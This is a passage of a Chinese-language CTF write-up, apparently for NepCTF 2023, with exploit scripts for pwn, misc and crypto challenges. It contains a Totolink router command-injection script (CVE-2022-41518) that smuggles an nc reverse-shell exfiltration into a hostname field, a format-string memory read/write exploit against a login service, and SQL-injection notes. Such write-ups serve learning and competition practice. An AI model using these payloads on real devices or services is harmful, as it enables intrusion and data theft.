    log.success(f&quot;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;{i}&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&quot;)
    leave()
    req.get(url)
    sleep(0.5)
    payload = b&quot;&quot;
    init(payload + b&quot;;&quot; * (104 - len(payload)))
    mkdir(b&quot;app/templates&quot;)
    cd(b&quot;app/templates&quot;)
    echo(b&quot;kernel&quot;, b&quot;&quot;&quot;#!/usr/bin/env -S python3 -c &quot;import os; os.system(&apos;cat flag&apos;)&quot; &quot;&quot;&quot;)

    echo(b&quot;data&quot;, b&quot;a&quot;*(0x100-2) + b&quot;bc&quot; + b&quot;\x21\x42&quot;)
    cat(b&quot;kernel&quot;)
    echo(b&quot;step1&quot;, b&quot;mov rdi,data; syscall 0;&quot;)
    echo(b&quot;step2&quot;, b&quot;mov rdi,data; mov rdx,258; syscall 1;&quot;)
    exec(b&quot;step1&quot;)
    exec(b&quot;step2&quot;)

    mount(b&quot;kernel&quot;)
#  59  52 65 0f 37  56 
# 7c  12 3c 44 45  56
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nep router&lt;/h2&gt;
&lt;p&gt;https://gitee.com/baozhazhizi/IoT-vulhub/tree/master/Totolink/CVE-2022-41518&lt;/p&gt;
&lt;p&gt;CVE-2022-41518一把梭，这里用反弹shell得到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import contextlib
import requests
import os

session = requests.Session()
login_url = &quot;http://106.75.63.100:34903/formLoginAuth.htm?authCode=1&amp;amp;userName=admin&amp;amp;goURL=home.html&amp;amp;action=login&quot;
raw = session.get(login_url, timeout=5)

inject_url = &quot;http://106.75.63.100:34903/cgi-bin/cstecgi.cgi&quot;
inject_data = {
    &quot;proto&quot;:&quot;8&quot;,
    &quot;hostname&quot;:&quot;&apos;;&quot; + &quot;&quot;&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/cat /flag/flag  |nc xxx.xxx.xxx.xxx 1234 &amp;gt;/tmp/f&quot;&quot;&quot; + &quot;;&apos;&quot;,
    &quot;topicurl&quot;:&quot;setOpModeCfg&quot;
}

with contextlib.suppress(Exception):
    resp = session.post(inject_url, json = inject_data, timeout=1)
print(&quot;shell!? ---------------&amp;gt; &quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;login&lt;/h2&gt;
&lt;p&gt;首先是路径穿越，由于不会校验目录，可以直接访问文件，下载文件，最后可以下载得到login ELF文件以及libc库，之后逆向很快能看到sprintf格式化字符串漏洞，最难就是本地调试找堆指针&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct
import time

import requests
from pwn import *
import logging


def creat_logger(log_path, logging_name, suf_name):
    if not os.path.exists(log_path):
        os.makedirs(log_path)
    log_full_path = log_path + logging_name + suf_name
    logger = logging.getLogger(logging_name)
    logger.setLevel(level=logging.DEBUG)
    handler = logging.FileHandler(log_full_path, encoding=&apos;UTF-8&apos;, mode=&apos;w&apos;)
    handler.setLevel(logging.INFO)
    formatter = logging.Formatter(&apos;%(asctime)s - %(name)s - %(levelname)s - %(message)s&apos;)
    handler.setFormatter(formatter)
    console = logging.StreamHandler()
    console.setLevel(logging.DEBUG)
    logger.addHandler(handler)
    logger.addHandler(console)
    return logger


logger = creat_logger(&quot;./&quot;, &quot;log&quot;, &quot;.txt&quot;)
req = requests.session()
start = b&quot;deadbeaf&quot;
end = b&quot;asdewedv&quot;
url = &quot;http://106.75.63.100:34617&quot;
# url = &quot;http://172.20.192.1:8080&quot;


def read_s(offset):
    if offset &amp;lt; 0:
        offset += 2 ** 32
    while True:
        try:
            r = req.get(url + &quot;/login&quot;, params={
                &quot;user&quot;: f&quot;{start.decode()}%{offset}$s{end.decode()}&quot;,
                &quot;password&quot;: &quot;aaaa&quot;
            }, timeout=1)
            break
        except ConnectionResetError as e:
            print(&quot;retrying...&quot;, e)
            time.sleep(0.5)
            pass
        except TimeoutError as e:
            print(&quot;retrying...&quot;, e)
            time.sleep(0.5)
            pass
        except requests.exceptions.ConnectTimeout as e:
            print(&quot;retrying...&quot;, e)
            time.sleep(0.5)
            pass
    s = r.content
    # print(s)
    code = s[s.find(start) + len(start):s.find(end)]
    return code, hex(struct.unpack(&quot;&amp;lt;Q&quot;, code[:8].ljust(8, b&quot;\00&quot;))[0])


def get_p(offset):
    if offset &amp;lt; 0:
        offset += 2 ** 32
    while True:
        try:
            r = req.get(url + &quot;/login&quot;, params={
                &quot;user&quot;: f&quot;{start.decode()}%{offset}$p{end.decode()}&quot;,
                &quot;password&quot;: &quot;aaaa&quot;
            }, timeout=1)
            break
        except ConnectionResetError as e:
            print(&quot;retrying...&quot;, e)
            time.sleep(0.5)
            pass
        except TimeoutError as e:
            print(&quot;retrying...&quot;, e)
            time.sleep(0.5)
            pass
        except requests.exceptions.ConnectTimeout as e:
            print(&quot;retrying...&quot;, e)
            time.sleep(0.5)
            pass
    s = r.content
    code = s[s.find(start) + len(start):s.find(end)]
    return code


def write(offset, x):
    if offset &amp;lt; 0:
        offset += 2 ** 32
    while True:
        try:
            r = req.get(url + &quot;/login&quot;, params={
                &quot;user&quot;: f&quot;%1000${x}c%{offset}$hhn&quot;,
                &quot;password&quot;: &quot;aaaa&quot;
            }, timeout=1)
            break
        except ConnectionResetError as e:
            print(&quot;retrying...&quot;, e)
            time.sleep(0.5)
            pass
        except TimeoutError as e:
            print(&quot;retrying...&quot;, e)
            time.sleep(0.5)
            pass
        except requests.exceptions.ConnectTimeout as e:
            print(&quot;retrying...&quot;, e)
            time.sleep(0.5)
            pass


# p = 15196
# write(p, 0x58)
# print(f&quot;[+] {get_p(p)} =&amp;gt; {read_s(p)}&quot;)
# p2 = 15513
def write_s(sx):
    s = struct.pack(&quot;&amp;lt;Q&quot;, sx).strip(b&quot;\x00&quot;)
    print(s)
    for i in range(len(s)):
        p = 15196
        write(p, 0x78 + i)
        # print(f&quot;[+] {get_p(p)} =&amp;gt; {read_s(p)}&quot;)
        p2 = 15511
        write(p2, s[i])
        # print(f&quot;[+] {get_p(p2)} =&amp;gt; {read_s(p2)}&quot;)
        p3 = 15518
        print(f&quot;[+] {get_p(p3)}&quot;)


# print(f&quot;[+] {get_p(15712)}&quot;)
# # xt = int(get_p(15712).decode(), 16)
# # print(f&quot;[+] {xt:#x}&quot;)
# print(f&quot;[+] {get_p(15512)}&quot;)
# print(f&quot;[+] {get_p(16110)}&quot;)
# # print(f&quot;[+] {get_p(15712)} =&amp;gt; {read_s(15712)}&quot;)
# for i in range(1, 0x31, 8):
# x = xt + i
# print(f&quot;[+] {x:#x}&quot;)
heap_base = int(get_p(15059).decode(), 16)
print(f&quot;[-&amp;gt;] {heap_base:#x}&quot;)
xt = heap_base- 0x40
print(f&quot;[-&amp;gt;] {xt:#x}&quot;)
write_s(xt)
print(f&quot;[+] done&quot;)
print(read_s(15518))

# write_s(0xdeadbeafdeadbeaf)
# p = 15196
# print(f&quot;[+] {get_p(p)} =&amp;gt; {read_s(p)}&quot;)
# p = 15513
# print(f&quot;[+] {get_p(p)} =&amp;gt; {read_s(p)}&quot;)
# p = 15516
# print(f&quot;[+] {get_p(p)}&quot;)
# for i in range(0x3d5b-10, 0x3d5b+100):
#     code = get_p(i)
#     if code.startswith(b&quot;0x55&quot;) or code.startswith(b&quot;0x7f&quot;) and len(code):
#         content = read_s(i)
#         # print(f&quot;[+] {i} =&amp;gt; {code} =&amp;gt; {content}&quot;)
#         logger.warning(f&quot;[+] {i} =&amp;gt; {code} =&amp;gt; {content}&quot;)
#         continue
#     # print(f&quot;[+] {i} =&amp;gt; {code}&quot;)
#     logger.info(f&quot;[+] {i} =&amp;gt; {code}&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HRP-CHAT&lt;/h2&gt;
&lt;p&gt;这一套题都是源码审计的题目，漏洞也很简单&lt;/p&gt;
&lt;h3&gt;1&lt;/h3&gt;
&lt;p&gt;SQL注入，注意这里不能用万能密码1&apos; or 1=1--因为在client中scanf不支持空格，所以就要先在数据库中注册一个用户名为1的用户，然后再次注册一个用户名为&lt;code&gt;1&apos;--&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814094413198.png&quot; alt=&quot;image-20230814094413198&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2&lt;/h3&gt;
&lt;p&gt;首先分析源码（其实也不用chat的sever，只要看client的处理逻辑即可）可以看到这里Bot模式只会返回一个字符串&lt;code&gt;&apos;远程AI协助服务正在开发中!&apos;&lt;/code&gt;，但是我们需要服务器返回&lt;code&gt;RemoteVIPApplicationCertificationHasPassed&lt;/code&gt;这一串才能获得flag，那么我们就需要伪造服务器返回的message。我们可以看Chat模式下的服务器的原理，服务器就是转发消息进行广播。那么我们就可以想到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814094950217.png&quot; alt=&quot;image-20230814094950217&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果让一台机器在Bot模式下，另一台机器在Chat模式下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814095426656.png&quot; alt=&quot;image-20230814095426656&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么我们就可以利用广播的机制，伪造服务器返回message，这里也没有做任何校验，所以就能得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/b9d03732b675ba6d6a492b90d01f9db.png&quot; alt=&quot;b9d03732b675ba6d6a492b90d01f9db&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;3&lt;/h3&gt;
&lt;p&gt;3号题目我看不太出来有啥漏洞，感觉就是正常的逻辑，抽卡获取角色，用message查看当前角色池子和技能，抽到H3h3QAQ就可以了，释放第二个技能log4j，就能打死ThTsOd了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/6a5cba2c75f12515107d0ae7af099ac.png&quot; alt=&quot;6a5cba2c75f12515107d0ae7af099ac&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;4&lt;/h3&gt;
&lt;p&gt;这个比较玄学，在我打2号flag的时候，可能是2号flag需要卡一个时机，我就写了脚本爆破，可能请求太多了，服务器就崩溃了，进入Safe box的cmd界面，输入Safe_Mode_Key就可以获得flag&lt;/p&gt;
&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;codes&lt;/h2&gt;
&lt;p&gt;pwn的思路打，先泄露libc，找到偏移直接system(&quot;env&quot;)一把梭&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;
int main(){
printf(&quot;1234&quot;);
  size_t tmp = &amp;amp;printf;
tmp -= 0x61c90;
tmp += 0x52290;
((int (*)(const char *, ...))tmp)(&quot;en&quot; &quot;v&quot;);
 } 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;与AI共舞的哈夫曼&lt;/h2&gt;
&lt;p&gt;确实不用自己写代码，GPT一把梭&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def decompress(input_file, output_file):
    with open(input_file, &apos;rb&apos;) as f:
        # Read frequency information
        num_freq = ord(f.read(1))
        frequencies = {}
        for _ in range(num_freq):
            byte, freq = f.read(1)[0], 0
            for _ in range(4):
                freq = (freq &amp;lt;&amp;lt; 8) | f.read(1)[0]
            frequencies[byte] = freq

        # Rebuild Huffman tree
        root = build_huffman_tree(frequencies)

        # Decode compressed data
        with open(output_file, &apos;wb&apos;) as out_f:
            node = root
            while True:
                bit = f.read(1)
                if not bit:
                    break
                bit = int.from_bytes(bit, byteorder=&apos;big&apos;)
                for i in range(7, -1, -1):
                    if (bit &amp;gt;&amp;gt; i) &amp;amp; 1:
                        node = node.right
                    else:
                        node = node.left
                    if node.char is not None:
                        out_f.write(bytes([node.char]))
                        node = root
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ConnectedFive&lt;/h2&gt;
&lt;p&gt;万宁五子棋，注意下棋到同一个位置会死机所以要，写逻辑爆破，为了提高胜率，这里采用最朴素的策略，计算每一个空白位置自己的棋子的密度，来判断哪些位置更优&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import random

from pwn import *

context.log_level = &apos;debug&apos;
context.timeout = 3
getIO = lambda: remote(&quot;nepctf.1cepeak.cn&quot;, 30582)
io = getIO()

def getinfo():
    io.recvuntil(b&quot;MESSAGE computer: &quot;)
    io.recvuntil(b&quot;\n&quot;)
    io.recvuntil(b&quot;\n&quot;)
    io.recvuntil(b&quot;\n&quot;)
    scoreboard = io.recvuntil(b&quot;\n&quot;, drop=True).decode()
    # print(f&quot;[+] Scoreboard {scoreboard}&quot;)

    # io.recvuntil(b&quot;\t   a b c d e f g h i j k l m n o\n&quot;)
    checkerboard = []
    raw = io.recvuntil(b&quot;\t   a b c d e f g h i j k l m n o\n&quot;).decode()
    for i in range(15):
        # io.recvuntil(b&quot;\t&quot; + bytearray([i+ord(&apos;a&apos;)]))
        r = io.recvuntil(b&quot;\n&quot;).decode()
        raw += r
        a = r.strip()
        checkerboard.append(a[3::2])
    # print(checkerboard)
    return scoreboard, checkerboard, raw


key = &quot;abcdefghijklmno&quot;

def check_pos(x, y, checkerboard: []):
    res = 0
    cnt = 0
    for i in range(max(0, x-4), min(14, x+4)+1):
        cnt += checkerboard[i][y] == &apos;X&apos;
    res = max(res, cnt)

    cnt = 0
    for i in range(max(0, y - 4), min(14, y + 4)+1):
        cnt += checkerboard[x][i] == &apos;X&apos;
    res = max(res, cnt)

    cnt = 0
    for i in range(-4, 4+1):
        if 0 &amp;lt;= x + i &amp;lt;= 14 and 0 &amp;lt;= y + i &amp;lt;= 14:
            cnt += checkerboard[x+i][y+i] == &apos;X&apos;
    res = max(res, cnt)

    cnt = 0
    for i in range(-4, 4+1):
        if 0 &amp;lt;= x - i &amp;lt;= 14 and 0 &amp;lt;= y + i &amp;lt;= 14:
            cnt += checkerboard[x-i][y+i] == &apos;X&apos;
    res = max(res, cnt)

    return res

def get_nice_pos(checkerboard):
    p = []
    for i in range(15):
        for j in range(15):
            if checkerboard[i][j] not in &quot;.+&quot;:
                continue
            p.append((check_pos(i, j, checkerboard), i, j))
    p.sort(reverse=True)
    return p[0][1:]



def action(checkerboard: []):
    print(len(checkerboard), end=&quot; &quot;)
    for x in checkerboard:
        print(len(x), end=&quot; &quot;)
    print()
    while True:
        # x = random.randint(0, 14)
        # y = random.randint(0, 14)
        # print(x, y)
        x, y = get_nice_pos(checkerboard)
        if checkerboard[x][y] in [&apos;.&apos;, &apos;+&apos;]:
            return key[y] + key[x]


for i in range(100):
    try:
        s, c, r = getinfo()
        log.success(f&quot;Scoreboard {s}&quot;)
        log.success(f&quot;Checkerboard \n{r}&quot;)
        ans = action(c)
        io.sendline(ans.encode())
    except EOFError:
        io.close()
        io = getIO()

io.interactive()

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CheckIn&lt;/h2&gt;
&lt;p&gt;b站发不出去，等了一会儿，flag直接在题目描述了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814100358316.png&quot; alt=&quot;image-20230814100358316&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;陌生的语言&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/7612dfe97ed54dfe36942465eba34b7.jpg&quot; alt=&quot;7612dfe97ed54dfe36942465eba34b7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;https://ay.medyotan.ga/upload/lwa_moonrunes.png&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814104059226.png&quot; alt=&quot;image-20230814104059226&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接出&lt;/p&gt;
&lt;p&gt;NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC&lt;/p&gt;
&lt;h2&gt;小叮弹钢琴&lt;/h2&gt;
&lt;p&gt;莫斯编码得到&lt;code&gt;YOUSHOULDUSETHISTOXORSOMETHING&lt;/code&gt;，字面意思，你需要用这个xor，还有一段直接mid看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814101009564.png&quot; alt=&quot;image-20230814101009564&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x = 0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17
xx = x.to_bytes(x.bit_length() // 8 + 1, &quot;big&quot;)
key = b&quot;YOUSHOULDUSETHISTOXORSOMETHING&quot;
print(xx)
print(len(key), len(xx))
print((bytearray(map(lambda x: x[0] ^ x[1] ^ 32, zip(xx, key)))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;大小写转换异或32&lt;/p&gt;
&lt;h2&gt;你也喜欢三月七么&lt;/h2&gt;
&lt;p&gt;首先是用群名字sha256得到&lt;code&gt;dd8e671df3882c5be6423cd030bd7cb69671ef27dfe7a541903edc4e23168009&lt;/code&gt;取前面的16个字节&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814101534500.png&quot; alt=&quot;image-20230814101534500&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到https://img1.imgtp.com/2023/07/24/yOkXWSJT.png&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814101546437.png&quot; alt=&quot;image-20230814101546437&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一眼星穹铁道的文字&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/efa6d5119c9f4eef31c7cdfea8d5312.png&quot; alt=&quot;efa6d5119c9f4eef31c7cdfea8d5312&quot; /&gt;&lt;/p&gt;
&lt;p&gt;翻译可得&lt;/p&gt;
&lt;p&gt;HRP_aIways_likes_March_7th这里的aIways的I是大写的i&lt;/p&gt;
&lt;h2&gt;lic&lt;/h2&gt;
&lt;p&gt;磁带信息，先用audiotap转磁带文件，再用010打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814101909845.png&quot; alt=&quot;image-20230814101909845&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到文字的NepCTF形状，利用脚本反转之后可以看到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;with open(&quot;attachment.tap&quot;, &quot;rb&quot;) as f:
    data = f.read()[50:].strip(b&quot;\xa0&quot;)
data = b&quot;aaa&quot; + data
chunk = 16
for i in range(0, len(data), chunk):
    # print()
    x = data[i:i+chunk][::-1].decode(errors=&quot;ignore&quot;)
    print(&quot;&quot;.join(map(lambda _: &quot;  &quot; if _ == &apos;&amp;gt;&apos; else _ + &apos; &apos;, x)))
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Crypto&lt;/h1&gt;
&lt;h2&gt;random_RSA&lt;/h2&gt;
&lt;p&gt;winner&apos;s攻击，这里用了低指数解密算法的脚本https://github.com/pablocelayes/rsa-wiener-attack，恢复d&lt;/p&gt;
&lt;p&gt;因为phi(n^2)近似(q^2-1)(p^2-1)，先用命令交互出一组数据，之后使用下面脚本爆破&lt;/p&gt;
&lt;p&gt;得到d之后&lt;/p&gt;
&lt;p&gt;因为$ed-1=k(p^2-1)(q^2-1)=k(p^2q^2-p^2-q^2+1)=k(n^2-p^2-q^2+1)$&lt;/p&gt;
&lt;p&gt;所以可以利用$(ed-1+n^2)/n$得到k&lt;/p&gt;
&lt;p&gt;之后一把梭求p，q即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
from gmpy2 import gcd, iroot

def hack_RSA(e, n):
    &apos;&apos;&apos;
    Finds d knowing (e,n)
    applying the Wiener continued fraction attack
    &apos;&apos;&apos;
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)

    for (k, d) in convergents:

        # check if d is actually the key
        if k != 0 and (e * d - 1) % k == 0:
            phi = (e * d - 1) // k
            s = n - phi + 1
            # check if the equation x^2 - s*x + n = 0
            # has integer roots
            discr = s * s - 4 * n
            if (discr &amp;gt;= 0):
                t = Arithmetic.is_perfect_square(discr)
                if t != -1 and (s + t) % 2 == 0:
                    print(&quot;Hacked!&quot;)
                    return d


def attack(n, e):
    d = hack_RSA(e, n * n)
    k = (e * d - 1 + n * n) // (n * n)
    tmp = (n * n) - ((e * d - 1) // k) + 1 + 2 * n
    ppq = int(iroot(tmp, 2)[0])
    tmp = (n * n) - ((e * d - 1) // k) + 1 - 2 * n
    pmq = int(iroot(tmp, 2)[0])
    p = int(gcd(ppq + pmq, n))
    q = n // p
    assert p * q == n
    assert e*d % ((p-1) * (q-1)) == 1
    return p, q, d


ss = &quot;&quot;&quot;
9664150901450480967690564598017074925278657678428083526647019231493500227501186171121223353625264405549895808023865076405682104148869646937802710197692149880801739296224423720449697986562014962810427149274953670336431969720847239367252577312181797620406921597928891203908280967606801144879943997948288687269135451721341591758893489869339520600383114702594831680556978281938914417626897063741811649257614797234325708166759403120480173752153249168733044607204951768557734895758143808863754965572034240739588491294098941537522398891830128387438317592253663045532862058982832135946842401711673333170801808131328328138409
22983334574580917801180860838975915911056113991786778412831201182411314364399816331219602816987801515703576764159087708450625423803558017646160341422267439951044407124414015864769966876129437519084492109510818093789724685834745254039500061544494687297354628168281982577957457924120597256869151402144742486005161738151255767127578010682514603747674732192539709537275806788688798050708598638377916842971631011263261195175705071683872373603843884113967910301479453532836470974019712063094982740534667039293541440015250164631599817949388195744930270131276498157477215483242544464596689268807389029069272532067490083369547669715239977992410158704220313287358936476570197236442784273557421888378497464433353892887766426339418782876390919046890278793088868131975197880580905027785352428189007480894687391277338836087221071379217489414415183919425962364501612704379275059469144794211736312560265881110693864711202763941138206607689382712402597791806706502788925221170513306681258576676019323627743632448114452443097397014141839634039981951855535241851424638689366379545342739319677785567174640217613527540438283508170772807801142587539976048845517400474132948151081974542377578704999265763979523387588936804746887912462709543565738342209411
26421545185254987799905424190746332339125127121314171591428976353667115363763727486775614091903284658438097216623238914712478521157241139537987344330841699472419239411492271130318030306609434654284036687937944162679104946235126178521045633190386482424340322162024092955319660759058652161996411895209248718547013152501979160191126988501306653660575206430331327547695958573346502447806907651886805983227927733506487689107733064048662109346548423844168211328529388196436068858018422470472568131170937800147226367812703244919615304030171460050297573510835520868630853149705239212069246257510861666696541821151818169796199
647587495710510972114742400831708548154715412535242193260921609695347930936707036639358968164012520349909437957090794941485190580257732521977171932341037504324231632999867734166481147062308183081010136684146530539354916263125020063213571051436518584206830118093755508481812082245822690944819197599760354341006609736609770789666793064642703641481389320623277678173558301629672865116377269127942025612180794827944539599815847863105760862109828389140681525680276554276533927094628602058843675286071339454429465986971694907927688830239142611855187274379851523189108755859657533224271693320278278605425423386495384174568562497627761612422045791957059437741493328698509481368554006456683812993984891378698935039540883929464645807942966456158605263661813471703445078327854656000079848297587266423318192874967873522951070558487797128927313745909508734015212545363132719971877683921675395438436594169300084386617636244174085949981341272801441913192529055922603538974179887610571219493524648953191928761783132985310317276631200614903232826609021472846793881344295699985919781942936761500592413666531213913327520376681809371295266029776133655277736129022073066033964950152867511761886746401418419578828754174047939112010456150675463575657509189
10802012890829459540541628896792295078778436077857489427389981093725666739897304883046269390863878441152550000748160396908161524179907858077000487740264046477305439871796448601143325277932003810352123707096051383675738121180861345577006541031517155258339948241289482502904363911440323113072882087374540321696726636204227138558487828152291517517119224906926633391353300941778394425937626996455545868331674490267329118395561623628314372766364381142098697604044336132503664081692651614933878766623288150407771680698950374395680226687162951709227319486379639675961227436372862323642542582705252736363789548988448924281523
83164181286675647518830286473660936842056768837605965773754722828164869255002601931877175384944967168423206258868966986144360226269117391889938003716473472419177908278255032274351977454805821764218411534787094767284216135276174354406996436906142025032430967949150772284199385705263345050808935420677789360168112630311736817620156906081165474809562107538852267394278439066621108665747312736533966159229107173152465365414052064089548384023025856375904149686916115214912086305308341266693329116385815754412736749978601321323191864143850174315828039788320203726197797788026323483995092501876361540056171546433345056509023822723392649116651071369395319931930221212866085340561430347693225966408351502938942294604586300299982831155358938495260400185484497256896416324370391657125309375755376057180940858375964786733652546488880996426657064631708252560023474877949301792612429382653730100520713338044964401333750090947037843448152614531864695601400078878276612572266304350518364495335341275038759497131064447619421326513680343303115330200681996349441238490209605256140282866353360785265474868465131016931425931964393177163140173169398499291572984733338118081910704432753107524477347843354958141041369207588577081612844623302487399941453933
7896711153350680182046433804310163873530744638818895739714243668607588547792890005637528789452971314751693622472528149754510450552025972279187841776097749142749323304216218612718765727398943401294644022496938258864873262044174164494124912426175372524656376121897875690251938452930789747994519674300862595216275541928658146402252536829579922303097776404657455395450853161185534506599329499328761065707811197966475148318482438088816924842458585192796056395380885795831624193355572079389648572361687920747403086875781493091238221420792111039898275872964722825166960441004965842026859265796562573640732063541877035703999
2453336941794377920668315851654619953646928905461467141099094168657719206064766651951427088886039685796776114141822989089619723777926424614857001633051068225552956142083890497598873667557028446871021184458240143729566494812770661669240646268836255291274950055880283884837660674102748619167688728015214974199172102739298082411466099956770246119223362727103493898761907722553589378295675272645561934551025890703140999463094569248990423646872411723328409457823533926161366175638210485154684713670484074111551184519212764546709551586814178654768531770178427218348159524090067132668379834207556749709109588553767744958928030458642933207972731738889836640270310522407082557073074220327314630716521374036182110178874650024321686921170512401592772523798249960102467660742850794643617416339049505280450162445401270432730440216281390479357051798091526529334107226924555476475287445348397336720445992548926807772402601594999910439716972523884323110378738095230641354005535939595738498325951885080299526970515488294162554370726438356887387936240973624985584430961461016270437469408900537013699409622145224578929157293051142754994365105441300293953769949427089080402762107252481674439414260001163630002002209227608718701864539764471854120765149
934357599818997062963713308304362991596280828009512110755774617078887165360994483469754259794232045134748049571365890970600399733065188159532911208357285158307632045436603686477662110964558434302467120269827088523605436776745307435600233303494688594128265424710248665574421617599397235608386293736009112635240116363197127688715563025691804376760043956191129689115106451454594303458289356459242344139405236999049625726629507017505219076937886664753583057499783039263793580691707653961619033353122066993401993412281067305045569711817510917816670267012976388544311131447428560310255424118434372129058504068971704509583
452535985385426610533595291636837260029529161119012527028832154063118066054114365212225611604413376466306821291622206453481076548722964431496720642815073434660316751461773927736769380260565572635521865666418131804097223787559572584034429232767907408588386908627811135292858626656533240022150603513420578118687227948584091074426900135895322629439907454314781910440178440833975308243442451505929901732597325250942477885257392248372956797459556418043140426549205059992693832494817312609114820874540542115879517751481239945773745036685837555782445189562031306229705420041083026014508308653365829010341657395972738383225136782775802242507679530114388408690163501378818581259836086658314750295168292063413234606975054845567353768299988855117672810051088400466976103022087953981820980574159918396071750775318139479271235473733328684536087473478158695154228827351532739332906517313798270187902326156179644850383883874005798210565002897279183014905697229418005561458301283927876097634598729273370887688127716799146589959547718296529504218197024144569252951455907047844555593109642331128337551457131825334129476995668564725114284200611621984522440766436051246003019078387721989410126014046300337526406832227661211670511374666171933242207761
21636726262954983891798049753528884949149278107055957653804164122232750629108771687361858365462276461758050089339414649308189481865701469685971089624677686415038790141344992019067961279901006021154460525723482009962909666812029094177916225260557575750852951983028595026985975759287231315896982867941386247369741207715929550901277459410981688464120324580668604126829385737148142010733680106833740158713528050751799693988082141485112234559239865511692418065113774817308071898684749289577274638116406277808547134140659187860357703459236546455683700089064295899984063024669612762793525503212165546539776762359198804880143
121831222096537368999356089708412896046021123796479990498164844552933248218587707868671273702871780046383065460423688141024214392817157791234305056319786064285936708392236448824783787802429682770337272235088202671105152535710294695902974253047704609221448981405609532633533062373004757059178427305919782441807444728003944125735197038228206500793881947731683045961796477046714111614358449413877923492947221540637411996522154279667079850899812790025430709528400798251289702825878302828745393493824877531623611021252456356175891394204733580270256164603165280954431866062942260146653644302782243197898971847034949620717936360716813922698249012591248773536863924987646374098897933678199676635398286431303649466386258192966901198806753276444091301228010214339088108290023638595922653691209504127688631013840850339138278703745938757018854197798962009892613282181507128330931048662067002367216863617848322567299023690624245593206164105677495564960539642415302357595708814138558968835481632687790665010565719903412940128287504825368916534220790908431745824689253975485426199665419413293026825301727942248672409218671101407001619695622271079059718159320809385046289813332457898242478875287662049306326128127096487004090260965504341859573161979
5970296459863639263155783075172703907538560676961520474432385024839627916414414908656192009767702560571700661568202705725697718102111106038786955170270219508803648130754658135536335026559679753140733217830203813331793926165711104662514382832955840370630723176415927796955765169553517462286240424922177248496576208476937262840173500549507825256850681559103373575719799534073745792805709350898345377043444572387322205792026096379146084848266043619559701164699491546970266459037417312873294970955821603622312389603295515738649074112877256884131342394799593566008925579319817453597162465762851343362551362340193519234111
